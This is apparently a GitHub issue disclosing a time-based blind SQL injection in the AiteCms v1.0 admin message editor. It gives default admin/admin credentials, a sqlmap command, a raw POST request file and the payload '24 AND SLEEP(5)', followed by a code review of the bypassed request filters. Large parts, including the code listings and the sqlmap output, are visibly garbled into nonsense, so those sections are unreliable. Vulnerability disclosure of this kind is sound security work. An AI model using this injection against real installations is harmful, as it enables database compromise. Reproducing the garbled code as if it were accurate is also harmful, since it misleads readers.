New issue

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AiteCms system background -sql injection vulnerability #3

Open kk98kk0 opened this issue on Mar 20, 2019 · 0 comments

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kk98kk0 commented on Mar 20, 2019
Vulnerability description
Test object:
  1. website name: AiteCmsv1.0
 2. web: http://www.aitecms.com/
  3. the download link address: https://pan.baidu.com/s/1qYhUu4G
 4. version: aitecms v1.0.rar compression package decompression
Test time:
March 17, 2019
Description of vulnerability:
AiteCms system background -SQL injection vulnerability. Background management center - online message - remarks, SQL injection vulnerability
  Parameter: MULTIPART id ((custom) POST)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
POC and verification
Local setup environment:
Install AiteCms guide: http://www.aitecms.com/view-4-1.html
 1. Download https://pan.baidu.com/s/1qYhUu4G
 2. the background to http://127.0.0.1/aitecms/login/, the password is admin/admin
 3. Verify by the following POC verification methods.
  Parameter: MULTIPART id ((custom) POST)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
Verification method:
sqlmap.py -l aitecmsSQLi.txt --batch --random-agent -o --dbms="mysql" -p id -v 4
AitecmsSOLi.txt:
  POST /aitecms/login/diy_list.php?action=edit&diyid=1&id=24&do=2 HTTP/1.1
  Host: 127.0.0.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  \label{eq:continuous} Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\\ Accept-Encoding: gzip, deflate
  Referer: http://127.0.0.1/aitecms/login/diy_list.php?action=edit&diyid=1&id=24
  Content-Type: multipart/form-data; boundary=----293582696224464
Content-Length: 1192
  Connection: close
  Cookie: PHPSESSID=00edhl9buleon09yaird4lgkk4: DedeUserID=1: DedeUserID ckMd5=21e5482050dff3e8: DedeLoginTime=1552802338: DedeLoginTime ckMd5=d7359ea71f3d0bb2: lastCid=1:
  lastCid__ckMd5=21e5482050dff3e8; ENV_GOBACK_URL=%2Faitecms%2Flogin%2Fdiy_main.php
  Upgrade-Insecure-Requests: 1
  Content-Disposition: form-data; name="dopost"
  -----293582696224464
Content-Disposition: form-data; name="id"
    -----293582696224464
  Content-Disposition: form-data; name="username
        -----293582696224464
  Content-Disposition: form-data; name="telephone"
  18978811188
            -----293582696224464
  Content-Disposition: form-data; name="email"
  admin@tttt58.com
                   -----293582696224464
  Content-Disposition: form-data; name="remark"
  暂无备注
            -----293582696224464
  Content-Disposition: form-data; name="shijian"
             -----293582696224464
  Content-Disposition: form-data; name="reeee
              -----293582696224464
  Content-Disposition: form-data; name="dede_fields"
```

```
username, textjelephomo, textjenali, manifestica (manifestica detected web page charses 'utf-al' selamp resumed the following objection point(s) from stored session:

| [manifestility to prove |
| manifestility to prove |
| m
```

Reinforcement proposal:

Improve the filter function

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Code review:
Local building environment.
\aitecms\include\common.inc.php CheckRequest Filter function line 88 to submit content, imperfect.
             function CheckRequest(&$val) { Sval: "24 AND SLEEP(5)"
 80
                 if (is array(Sval)) {
 81
                     foreach ($val as $_k=>$_v) {
 82
                         if($_k = 'nvarname') continue
 83
                         CheckRequest($_k);
 84
                         CheckRequest($val[$_k]);
 85
                 } else
 87
                 if( strlen($val)>0 && prog_match(' * '(efg_|GLOBALS|_GET|_POST|_COOKIE|_SESSIOE)*', $val)
 88
 90
                         exit('Request var not allow!');
 91
 92
                 }
 93
94
Call CheckRequest to check $_REQUEST
              CheckRequest($_REQUEST);
             CheckRequest($ COOKIE)
              foreach(Array('_GET','_POST','_COOKIE') as $_request)
99
Bypass _RunMagicQuotes checks, bypass addslashes function checks
         57
             if(!got_magic_quotes_gp
 59
                 if( is_array($sva
 60
 61
 62
                     foreach($sym as $_k => $_v) $syam[$_k] = _RunMagicQuotes($_v);
 63
 64
                 else
 66
                     if( strle($svar)>0 && preg_match(' # "(ofg_|GLOBALS|_GET|_POST|_COOKIE|_SESSIOE) # ', $svar) )
 67
 68
                             Request var not allow!');
                       exit
 69
                             addslashes($syar):
 70
                     $sva
 71
 72
 73
74
Connect to a Database \wamp\www\aitecms\include\common.inc.php
329
          if ($GLOBALS['efg_mysql_type'] = 'mysqli' && function_exists('mysqli_init') || !function_exists('mysql_connect')) $GLOBA
330
             require_ence(DEDEINC.'/dedesqli.class.php');
331
332
          } else {
         require_once(DEDEINC'/dedesql.class.php'
333
334
\wamp\www\aitecms\include\dedesgl.class.php
        191
192
193
194
195
196
197
198
200
201
202
203
204
205
206
             1
           function ExecuteSo solvery ($sql="") $sql
              if(|Sdeql-)isImit)
                 $this->Init($this->sconset)
              if($daql->isCless)
                 $this->Open(PALSE);
$dsql->isClese = PALSE;
Bypass SQL security checks
                if($this=>safeCheck) CheckSql($this=>queryString,'update');
222
223
224
                $rs = mysql_query($this=>queryString,$this=>linkID);
225
                 //查询住能测试
226
227
                 if($this->recordLog) {
228
                    $queryTime = ExecTime() - $t1;
229
                    $this->RecordLog($queryTime);
230
                    //echo $this->queryString "-{$queryTime} dr />\r\n".
231
         return $rs;
232
Finally, the editor submitted successfully
160
161
                   Squery = "UPDATE Sdiy-)table SET Saddaql TMERE id-Sid": Saddsql "username = 林先生", telephone = 18678897788', email = a if(Sdsql-)ExsecuteNoneQuery(Squery)) Squery "UPDATE aits_diyform! SET username = 林先生", telephone = 18678897788', email = a
162
163
164
                       $goto = "diy_list.php?action=list&diyid={$diy->diyid}"; $diy: {diyid => "1", db => BedeSql, info => "\n(field:usernume
                       shownsg("编辑成功", $goto);
  165
  166
  167
  168
  169
                       shownsg("编辑成功",
  171
          }elseif(Saction = 'check')
 172
```

Assignees	
No one assigned	
Labels	
None yet	
Projects	
None yet	
Milestone	
No milestone	
Development	
No branches or pull requests	

1 participant

